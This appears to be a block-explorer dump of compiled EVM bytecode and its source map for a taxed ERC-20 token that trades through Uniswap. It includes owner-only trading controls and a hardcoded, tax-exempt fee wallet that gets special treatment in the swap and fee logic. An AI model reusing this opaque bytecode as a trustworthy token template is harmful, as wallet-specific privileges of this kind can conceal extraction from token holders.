390fd5b476104cf5f546001600160a01b031690565b6001600160a01b03166108fc8290811502906040515f60405180830381858888f19350505050158015610487573d5f803e3d5ffd5b5f546001600160a01b0316331461052d5760405162461bcd60e51b81526004016104b4906118af565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461059e5760405162461bcd60e51b81526004016104b4906118af565b6105aa6012600a61188a565b6105b890633b9aca00611898565b600c556105c76012600a61188a565b6105d590633b9aca00611898565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106056012600a61188a565b61061390633b9aca00611898565b60405190815260200160405180910390a1565b5f61038d3384846109d2565b5f546001600160a01b0316331461065b5760405162461bcd60e51b81526004016104b4906118af565b600e5460ff16156106ae5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104b4565b600e805462ff00001916620100001790556106fe307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6106f06012600a61188a565b61042b90633b9aca00611898565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d719473061074d306001600160a01b03165f9081526001602052604090205490565b5f806107605f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107c6573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107eb91906118e4565b505060405163095ea7b360e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d811660048301525f1960248301527f000000000000000000000000bcf3ecdeb659c44020954f4ef29ba9c9dcf84ceb16915063095ea7b3906044016020604051808303815f875af115801561087a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089e919061190f565b50600e805460ff19166001179055565b6001600160a01b0383166109105760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b4565b6001600160a01b0382166109715760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b4565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a365760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b4565b6001600160a01b038216610a985760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b4565b5f8111610af95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b4565b600e5462010000900460ff161580610b185750600e54610100900460ff165b15610b2d57610b288383836110ef565b505050565b5f80546001600160a01b03858116911614801590610b5857505f546001600160a01b03848116911614155b8015610b8157506001600160a01b038316738e7bdc84a5deefbb33edd9aed69685d45930ed4014155b15610e8d57610bb26064610bac600854600b5411610ba157600454610ba5565b6006545b8590611192565b90611217565b90507f000000000000000000000000bcf3ecdeb659c44020954f4ef29ba9c9dcf84ceb6001600160a01b0316846001600160a01b0316148015610c2757507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316836001600160a01b031614155b8015610c4b57506001600160a01b0383165f9081526003602052604090205460ff16155b15610d3157600c54821115610ca25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104b4565b600d5482610cc4856001600160a01b03165f9081526001602052604090205490565b610cce919061192e565b1115610d1c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104b4565b600b8054905f610d2b83611941565b91905055505b7f000000000000000000000000bcf3ecdeb659c44020954f4ef29ba9c9dcf84ceb6001600160a01b0316836001600160a01b0316148015610d7b57506001600160a01b0384163014155b15610da857610da56064610bac600954600b5411610d9b57600554610ba5565b6007548590611192565b90505b305f90815260016020526040902054600e54610100900460ff16158015610e0057507f000000000000000000000000bcf3ecdeb659c44020954f4ef29ba9c9dcf84ceb6001600160a01b0316846001600160a01b0316145b8015610e145750600e5462010000900460ff165b8015610e375750610e276012600a61188a565b610e349062b71b00611898565b81115b8015610e465750600a54600b54115b15610e8b57610e79610e7484610e6f84610e626012600a61188a565b610e6f9062b71b00611898565b611258565b610ee1565b478015610e8957610e89476110b1565b505b505b610e97848461126c565b610ea384848484611416565b50505050565b5f8184841115610ecc5760405162461bcd60e51b81526004016104b49190611679565b505f610ed88486611959565b95945050505050565b600e805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f2357610f2361196c565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f9f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fc39190611980565b81600181518110610fd657610fd661196c565b60200260200101906001600160a01b031690816001600160a01b031681525050611021307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846108ae565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906110759085905f9086903090429060040161199b565b5f604051808303815f87803b15801561108c575f80fd5b505af115801561109e573d5f803e3d5ffd5b5050600e805461ff001916905550505050565b604051738e7bdc84a5deefbb33edd9aed69685d45930ed409082156108fc029083905f818181858888f19350505050158015610487573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546111119082611440565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461113f9082611481565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109c59085815260200190565b5f825f036111a157505f610391565b5f6111ac8385611898565b9050826111b98583611a0c565b146112105760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b4565b9392505050565b5f61121083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114df565b5f8183116112665782611210565b50919050565b6001600160a01b0382165f9081526003602052604090205460ff16806112a957506001600160a01b0381165f9081526003602052604090205460ff165b80156112be57506001600160a01b0382163014155b80156112d357506001600160a01b0381163014155b156112dd57436011555b6001600160a01b0382165f9081526003602052604090205460ff1615801561131d57506001600160a01b0381165f9081526003602052604090205460ff16155b1561048757806001600160a01b03167f000000000000000000000000bcf3ecdeb659c44020954f4ef29ba9c9dcf84ceb6001600160a01b0316146113e1576001600160a01b038082165f908152601060205260409020908381167f000000000000000000000000bcf3ecdeb659c44020954f4ef29ba9c9dcf84ceb909116036113af5780545f03610b28574390555050565b6001600160a01b0383165f9081526010602052604090208154815410806113d557508154155b15610ea3575490555050565b6001600160a01b0382165f908152601060205260409020601154815461140691611440565b6001820155426002909101555050565b5f61142285838561150b565b90506114398585836114348787611440565b6115c8565b5050505050565b5f61121083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea9565b5f8061148d838561192e565b9050838110156112105760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b4565b5f81836114ff5760405162461bcd60e51b81526004016104b49190611679565b505f610ed88486611a0c565b5f80738e7bdc84a5deefbb33edd9aed69685d45930ed3f196001600160a01b0386160161154457600f5461153f9084611192565b611546565b825b905083156115c057305f908152600160205260409020546115679085611481565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115b79088815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546115ea9083611440565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546116189082611481565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061166b9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156116a557858101830151858201604001528201611689565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116d9575f80fd5b50565b5f80604083850312156116ed575f80fd5b82356116f8816116c5565b946020939093013593505050565b5f805f60608486031215611718575f80fd5b8335611723816116c5565b92506020840135611733816116c5565b929592945050506040919091013590565b5f60208284031215611754575f80fd5b8135611210816116c5565b5f8060408385031215611770575f80fd5b823561177b816116c5565b9150602083013561178b816116c5565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117e457815f19048211156117ca576117ca611796565b808516156117d757918102915b93841c93908002906117af565b509250929050565b5f826117fa57506001610391565b8161180657505f610391565b816001811461181c576002811461182657611842565b6001915050610391565b60ff84111561183757611837611796565b50506001821b610391565b5060208310610133831016604e8410600b8410161715611865575081810a610391565b61186f83836117aa565b805f190482111561188257611882611796565b029392505050565b5f61121060ff8416836117ec565b808202811582820484141761039157610391611796565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156118f6575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561191f575f80fd5b81518015158114611210575f80fd5b8082018082111561039157610391611796565b5f6001820161195257611952611796565b5060010190565b8181038181111561039157610391611796565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611990575f80fd5b8151611210816116c5565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119eb5784516001600160a01b0316835293830193918301916001016119c6565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a2657634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220271221679b38475b9826c473b77521155e344110a1c75939ca708ba2df232a6f64736f6c63430008170033
Deployed Bytecode Sourcemap
3467:10459:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5673:83;;;;;;;;;;-1:-1:-1;5743:5:0;;;;;;;;;;;;-1:-1:-1;;;5743:5:0;;;;5673:83;;;;;;;:::i;:::-;;;;;;;;6506:161;;;;;;;;;;-1:-1:-1;6506:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6506:161:0;1023:187:1;4366:62:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;4366:62:0;1215:177:1;5950:95:0;;;;;;;;;;;;;:::i;6934:313::-;;;;;;;;;;-1:-1:-1;6934:313:0;;;;;:::i;:::-;;:::i;5859:83::-;;;;;;;;;;-1:-1:-1;5859:83:0;;4095:2;2000:36:1;;1988:2;1973:18;5859:83:0;1858:184:1;13482:404:0;;;;;;;;;;;;;:::i;:::-;;12846:161;;;;;;;;;;;;;:::i;6053:119::-;;;;;;;;;;-1:-1:-1;6053:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6146:18:0;6119:7;6146:18;;;:9;:18;;;;;;;6053:119;1401:148;;;;;;;;;;;;;:::i;12580:158::-;;;;;;;;;;;;;:::i;4437:54::-;;;;;;;;;;;;;;;;1191:79;;;;;;;;;;-1:-1:-1;1229:7:0;1256:6;1191:79;;-1:-1:-1;;;;;1256:6:0;;;2445:51:1;;2433:2;2418:18;1191:79:0;2299:203:1;4498:56:0;;;;;;;;;;;;;;;;5764:87;;;;;;;;;;-1:-1:-1;5836:7:0;;;;;;;;;;;;-1:-1:-1;;;5836:7:0;;;;5764:87;;6180:167;;;;;;;;;;-1:-1:-1;6180:167:0;;;;;:::i;:::-;;:::i;13015:459::-;;;;;;;;;;;;;:::i;6355:143::-;;;;;;;;;;-1:-1:-1;6355:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6463:18:0;;;6436:7;6463:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6355:143;6506:161;6581:4;6598:39;175:10;6621:7;6630:6;6598:8;:39::i;:::-;-1:-1:-1;6655:4:0;6506:161;;;;;:::o;4366:62::-;4415:13;4095:2;4415;:13;:::i;:::-;4404:24;;:8;:24;:::i;:::-;4366:62;:::o;5950:95::-;6003:7;4152:13;4095:2;4152;:13;:::i;:::-;4139:26;;:10;:26;:::i;:::-;6023:14;;5950:95;:::o;6934:313::-;7032:4;7049:36;7059:6;7067:9;7078:6;7049:9;:36::i;:::-;7096:121;7105:6;175:10;7127:89;7165:6;7127:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7127:19:0;;;;;;:11;:19;;;;;;;;175:10;7127:33;;;;;;;;;;:37;:89::i;:::-;7096:8;:121::i;:::-;-1:-1:-1;7235:4:0;6934:313;;;;;:::o;13482:404::-;175:10;4617:42;13532:24;13524:33;;;;;;13609:4;13568:20;6146:18;;;:9;:18;;;;;;13629:14;;13626:99;;13657:56;13688:12;13657:16;:56::i;:::-;13756:21;13791:12;;13788:91;;13817:50;13844:10;13817:12;:50::i;:::-;13513:373;;13482:404::o;12846:161::-;1316:6;;-1:-1:-1;;;;;1316:6:0;175:10;1316:22;1308:67;;;;-1:-1:-1;;;1308:67:0;;;;;;;:::i;:::-;;;;;;;;;12925:21:::1;12965:7;1229::::0;1256:6;-1:-1:-1;;;;;1256:6:0;;1191:79;12965:7:::1;-1:-1:-1::0;;;;;12957:25:0::1;:42;12983:15;12957:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;1401:148:::0;1316:6;;-1:-1:-1;;;;;1316:6:0;175:10;1316:22;1308:67;;;;-1:-1:-1;;;1308:67:0;;;;;;;:::i;:::-;1508:1:::1;1492:6:::0;;1471:40:::1;::::0;-1:-1:-1;;;;;1492:6:0;;::::1;::::0;1471:40:::1;::::0;1508:1;;1471:40:::1;1539:1;1522:19:::0;;-1:-1:-1;;;;;;1522:19:0::1;::::0;;1401:148::o;12580:158::-;1316:6;;-1:-1:-1;;;;;1316:6:0;175:10;1316:22;1308:67;;;;-1:-1:-1;;;1308:67:0;;;;;;;:::i;:::-;4152:13:::1;4095:2;4152;:13;:::i;:::-;4139:26;::::0;:10:::1;:26;:::i;:::-;12633:12;:21:::0;4152:13:::1;4095:2;4152;:13;:::i;:::-;4139:26;::::0;:10:::1;:26;:::i;:::-;12665:14;:22:::0;12703:27:::1;4152:13;4095:2;4152;:13;:::i;:::-;4139:26;::::0;:10:::1;:26;:::i;:::-;12703:27;::::0;1361:25:1;;;1349:2;1334:18;12703:27:0::1;;;;;;;12580:158::o:0;6180:167::-;6258:4;6275:42;175:10;6299:9;6310:6;6275:9;:42::i;13015:459::-;1316:6;;-1:-1:-1;;;;;1316:6:0;175:10;1316:22;1308:67;;;;-1:-1:-1;;;1308:67:0;;;;;;;:::i;:::-;13079:11:::1;::::0;::::1;;13078:12;13070:47;;;::::0;-1:-1:-1;;;13070:47:0;;5145:2:1;13070:47:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;13070:47:0::1;4943:347:1::0;13070:47:0::1;13128:11;:18:::0;;-1:-1:-1;;13128:18:0::1;::::0;::::1;::::0;;13157:58:::1;13174:4;13189:15;4152:13;4095:2;4152;:13;:::i;:::-;4139:26;::::0;:10:::1;:26;:::i;13157:58::-;13226:15;-1:-1:-1::0;;;;;13226:31:0::1;;13265:21;13296:4;13302:24;13320:4;-1:-1:-1::0;;;;;6146:18:0;6119:7;6146:18;;;:9;:18;;;;;;;6053:119;13302:24:::1;13327:1;13329::::0;13331:7:::1;1229::::0;1256:6;-1:-1:-1;;;;;1256:6:0;;1191:79;13331:7:::1;13226:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13226:129:0;;;-1:-1:-1;;;;;5654:15:1;;;13226:129:0::1;::::0;::::1;5636:34:1::0;5686:18;;;5679:34;;;;5729:18;;;5722:34;;;;5772:18;;;5765:34;5836:15;;;5815:19;;;5808:44;13339:15:0::1;5868:19:1::0;;;5861:35;5570:19;;13226:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13366:71:0::1;::::0;-1:-1:-1;;;13366:71:0;;-1:-1:-1;;;;;13404:15:0::1;6410:32:1::0;;13366:71:0::1;::::0;::::1;6392:51:1::0;-1:-1:-1;;6459:18:1;;;6452:34;13373:13:0::1;13366:29;::::0;-1:-1:-1;13366:29:0::1;::::0;6365:18:1;;13366:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13448:11:0::1;:18:::0;;-1:-1:-1;;13448:18:0::1;13462:4;13448:18;::::0;;13015:459::o;7255:335::-;-1:-1:-1;;;;;7348:19:0;;7340:68;;;;-1:-1:-1;;;7340:68:0;;6981:2:1;7340:68:0;;;6963:21:1;7020:2;7000:18;;;6993:30;7059:34;7039:18;;;7032:62;-1:-1:-1;;;7110:18:1;;;7103:34;7154:19;;7340:68:0;6779:400:1;7340:68:0;-1:-1:-1;;;;;7427:21:0;;7419:68;;;;-1:-1:-1;;;7419:68:0;;7386:2:1;7419:68:0;;;7368:21:1;7425:2;7405:18;;;7398:30;7464:34;7444:18;;;7437:62;-1:-1:-1;;;7515:18:1;;;7508:32;7557:19;;7419:68:0;7184:398:1;7419:68:0;-1:-1:-1;;;;;7498:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7550:32;;1361:25:1;;;7550:32:0;;1334:18:1;7550:32:0;;;;;;;;7255:335;;;:::o;7598:2110::-;-1:-1:-1;;;;;7691:18:0;;7683:68;;;;-1:-1:-1;;;7683:68:0;;7789:2:1;7683:68:0;;;7771:21:1;7828:2;7808:18;;;7801:30;7867:34;7847:18;;;7840:62;-1:-1:-1;;;7918:18:1;;;7911:35;7963:19;;7683:68:0;7587:401:1;7683:68:0;-1:-1:-1;;;;;7770:16:0;;7762:64;;;;-1:-1:-1;;;7762:64:0;;8195:2:1;7762:64:0;;;8177:21:1;8234:2;8214:18;;;8207:30;8273:34;8253:18;;;8246:62;-1:-1:-1;;;8324:18:1;;;8317:33;8367:19;;7762:64:0;7993:399:1;7762:64:0;7857:1;7845:11;:13;7837:67;;;;-1:-1:-1;;;7837:67:0;;8599:2:1;7837:67:0;;;8581:21:1;8638:2;8618:18;;;8611:30;8677:34;8657:18;;;8650:62;-1:-1:-1;;;8728:18:1;;;8721:39;8777:19;;7837:67:0;8397:405:1;7837:67:0;7923:11;;;;;;;7921:13;;:23;;-1:-1:-1;7938:6:0;;;;;;;7921:23;7917:115;;;7962:37;7977:4;7983:2;7987:11;7962:14;:37::i;:::-;7598:2110;;;:::o;7917:115::-;8044:17;1256:6;;-1:-1:-1;;;;;8078:15:0;;;1256:6;;8078:15;;;;:32;;-1:-1:-1;1229:7:0;1256:6;-1:-1:-1;;;;;8097:13:0;;;1256:6;;8097:13;;8078:32;:51;;;;-1:-1:-1;;;;;;8113:16:0;;4617:42;8113:16;;8078:51;8074:1535;;;8158:176;8330:3;8158:145;8235:15;;8223:9;;:27;8222:58;;8266:14;;8222:58;;;8252:12;;8222:58;8158:11;;:37;:145::i;:::-;:171;;:176::i;:::-;8146:188;;8363:13;-1:-1:-1;;;;;8355:21:0;:4;-1:-1:-1;;;;;8355:21:0;;:55;;;;;8394:15;-1:-1:-1;;;;;8380:30:0;:2;-1:-1:-1;;;;;8380:30:0;;;8355:55;:84;;;;-1:-1:-1;;;;;;8417:22:0;;;;;;:18;:22;;;;;;;;8415:24;8355:84;8351:383;;;8483:12;;8468:11;:27;;8460:65;;;;-1:-1:-1;;;8460:65:0;;9009:2:1;8460:65:0;;;8991:21:1;9048:2;9028:18;;;9021:30;9087:27;9067:18;;;9060:55;9132:18;;8460:65:0;8807:349:1;8460:65:0;8604:14;;8590:11;8574:13;8584:2;-1:-1:-1;;;;;6146:18:0;6119:7;6146:18;;;:9;:18;;;;;;;6053:119;8574:13;:27;;;;:::i;:::-;:44;;8544:144;;;;-1:-1:-1;;;8544:144:0;;9493:2:1;8544:144:0;;;9475:21:1;9532:2;9512:18;;;9505:30;9571:28;9551:18;;;9544:56;9617:18;;8544:144:0;9291:350:1;8544:144:0;8707:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8351:383;8757:13;-1:-1:-1;;;;;8753:17:0;:2;-1:-1:-1;;;;;8753:17:0;;:41;;;;-1:-1:-1;;;;;;8774:20:0;;8789:4;8774:20;;8753:41;8750:286;;;8827:193;9016:3;8827:158;8910:16;;8900:9;;:26;8899:59;;8943:15;;8899:59;;;8928:13;;8827:11;;:41;:158::i;:193::-;8815:205;;8750:286;9101:4;9052:28;6146:18;;;:9;:18;;;;;;9127:6;;;;;;;9126:7;:29;;;;;9142:13;-1:-1:-1;;;;;9136:19:0;:2;-1:-1:-1;;;;;9136:19:0;;9126:29;:44;;;;-1:-1:-1;9159:11:0;;;;;;;9126:44;:105;;;;-1:-1:-1;4346:13:0;4095:2;4346;:13;:::i;:::-;4335:24;;:8;:24;:::i;:::-;9191:20;:40;9126:105;:156;;;;;9264:18;;9252:9;;:30;9126:156;9122:476;;;9317:74;9334:56;9338:11;9351:38;9355:20;4415:13;4095:2;4415;:13;:::i;:::-;4404:24;;:8;:24;:::i;:::-;9351:3;:38::i;9334:56::-;9317:16;:74::i;:::-;9439:21;9483:20;;9479:104;;9528:35;9541:21;9528:12;:35::i;:::-;9298:300;9122:476;8131:1478;8074:1535;9621:21;9633:4;9639:2;9621:11;:21::i;:::-;9655:45;9670:4;9675:2;9678:11;9690:9;9655:14;:45::i;:::-;7672:2036;7598:2110;;;:::o;1907:190::-;1993:7;2029:12;2021:6;;;;2013:29;;;;-1:-1:-1;;;2013:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2053:9:0;2065:5;2069:1;2065;:5;:::i;:::-;2053:17;1907:190;-1:-1:-1;;;;;1907:190:0:o;12089:483::-;5164:6;:13;;-1:-1:-1;;5164:13:0;;;;;12191:16:::1;::::0;;12205:1:::1;12191:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12191:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12191:16:0::1;12167:40;;12236:4;12218;12223:1;12218:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;12218:23:0::1;;;-1:-1:-1::0;;;;;12218:23:0::1;;;::::0;::::1;12262:15;-1:-1:-1::0;;;;;12262:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12252:4;12257:1;12252:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1::0;;;;;12252:32:0::1;;;-1:-1:-1::0;;;;;12252:32:0::1;;;::::0;::::1;12295:62;12312:4;12327:15;12345:11;12295:8;:62::i;:::-;12368:196;::::0;-1:-1:-1;;;12368:196:0;;-1:-1:-1;;;;;12368:15:0::1;:66;::::0;::::1;::::0;:196:::1;::::0;12449:11;;12475:1:::1;::::0;12491:4;;12518::::1;::::0;12538:15:::1;::::0;12368:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5200:6:0;:14;;-1:-1:-1;;5200:14:0;;;-1:-1:-1;;;;12089:483:0:o;12746:92::-;12803:27;;4617:42;;12803:27;;;;;12823:6;;12803:27;;;;12823:6;4617:42;12803:27;;;;;;;;;;;;;;;;;;;6675:251;-1:-1:-1;;;;;6784:15:0;;;;;;:9;:15;;;;;;:32;;6804:11;6784:19;:32::i;:::-;-1:-1:-1;;;;;6766:15:0;;;;;;;:9;:15;;;;;;:50;;;;6843:13;;;;;;;:30;;6861:11;6843:17;:30::i;:::-;-1:-1:-1;;;;;6827:13:0;;;;;;;:9;:13;;;;;;;:46;;;;6889:29;;;;;;;;;;6906:11;1361:25:1;;1349:2;1334:18;;1215:177;2103:246:0;2161:7;2185:1;2190;2185:6;2181:47;;-1:-1:-1;2215:1:0;2208:8;;2181:47;2238:9;2250:5;2254:1;2250;:5;:::i;:::-;2238:17;-1:-1:-1;2283:1:0;2274:5;2278:1;2238:17;2274:5;:::i;:::-;:10;2266:56;;;;-1:-1:-1;;;2266:56:0;;11848:2:1;2266:56:0;;;11830:21:1;11887:2;11867:18;;;11860:30;11926:34;11906:18;;;11899:62;-1:-1:-1;;;11977:18:1;;;11970:31;12018:19;;2266:56:0;11646:397:1;2266:56:0;2340:1;2103:246;-1:-1:-1;;;2103:246:0:o;2355:132::-;2413:7;2440:39;2444:1;2447;2440:39;;;;;;;;;;;;;;;;;:3;:39::i;11981:100::-;12038:7;12067:1;12063;:5;12062:11;;12072:1;12062:11;;;-1:-1:-1;12070:1:0;11981:100;-1:-1:-1;11981:100:0:o;10833:1138::-;-1:-1:-1;;;;;10906:24:0;;;;;;:18;:24;;;;;;;;;:49;;-1:-1:-1;;;;;;10933:22:0;;;;;;:18;:22;;;;;;;;10906:49;10905:76;;;;-1:-1:-1;;;;;;10960:21:0;;10976:4;10960:21;;10905:76;:99;;;;-1:-1:-1;;;;;;10985:19:0;;10999:4;10985:19;;10905:99;10900:159;;;11035:12;11021:11;:26;10900:159;-1:-1:-1;;;;;11091:24:0;;;;;;:18;:24;;;;;;;;11089:26;:69;;;;-1:-1:-1;;;;;;11136:22:0;;;;;;:18;:22;;;;;;;;11135:23;11089:69;11071:893;;;11206:2;-1:-1:-1;;;;;11188:20:0;:13;-1:-1:-1;;;;;11188:20:0;;11184:769;;-1:-1:-1;;;;;11258:14:0;;;11229:26;11258:14;;;:10;:14;;;;;;11295:21;;;:13;:21;;;;11291:440;;11345:15;;;:20;11341:107;;11412:12;11394:30;;-1:-1:-1;;7598:2110:0:o;11291:440::-;-1:-1:-1;;;;;11525:16:0;;11496:26;11525:16;;;:10;:16;;;;;11586:15;;11568;;:33;;:57;;-1:-1:-1;11607:15:0;;:17;11568:57;11564:148;;;11673:15;11655:33;;-1:-1:-1;;13482:404:0:o;11184:769::-;-1:-1:-1;;;;;11800:16:0;;11771:26;11800:16;;;:10;:16;;;;;11873:11;;11853:15;;:32;;:19;:32::i;:::-;11835:15;;;:50;11922:15;11904;;;;:33;10833:1138;;:::o;9716:300::-;9869:15;9885:47;9903:4;9909:9;9920:11;9885:17;:47::i;:::-;9869:63;-1:-1:-1;9943:65:0;9963:4;9969:2;9869:63;9981:26;:11;9997:9;9981:15;:26::i;:::-;9943:19;:65::i;:::-;9858:158;9716:300;;;;:::o;1765:136::-;1823:7;1850:43;1854:1;1857;1850:43;;;;;;;;;;;;;;;;;:3;:43::i;1580:179::-;1638:7;;1670:5;1674:1;1670;:5;:::i;:::-;1658:17;;1699:1;1694;:6;;1686:46;;;;-1:-1:-1;;;1686:46:0;;12250:2:1;1686:46:0;;;12232:21:1;12289:2;12269:18;;;12262:30;12328:29;12308:18;;;12301:57;12375:18;;1686:46:0;12048:351:1;2493:205:0;2595:7;2630:12;2623:5;2615:28;;;;-1:-1:-1;;;2615:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2654:9:0;2666:5;2670:1;2666;:5;:::i;10410:415::-;10510:7;;-1:-1:-1;;;;;;;10548:19:0;;;:62;;10584:9;;:26;;10598:11;10584:13;:26::i;:::-;10548:62;;;10570:11;10548:62;10530:80;-1:-1:-1;10625:13:0;;10621:172;;10700:4;10682:24;;;;:9;:24;;;;;;:39;;10711:9;10682:28;:39::i;:::-;10673:4;10655:24;;;;:9;:24;;;;;;;:66;;;;10741:40;;-1:-1:-1;;;;;10741:40:0;;;;;;;10771:9;1361:25:1;;1349:2;1334:18;;1215:177;10741:40:0;;;;;;;;10621:172;10810:7;10410:415;-1:-1:-1;;;;10410:415:0:o;10024:378::-;-1:-1:-1;;;;;10203:15:0;;;;;;:9;:15;;;;;;:31;;10223:10;10203:19;:31::i;:::-;-1:-1:-1;;;;;10185:15:0;;;;;;;:9;:15;;;;;;:49;;;;10261:13;;;;;;;:32;;10279:13;10261:17;:32::i;:::-;-1:-1:-1;;;;;10245:13:0;;;;;;;:9;:13;;;;;;;:48;;;;10311:83;;;;;;;;;;10370:13;1361:25:1;;1349:2;1334:18;;1215:177;10311:83:0;;;;;;;;10024:378;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;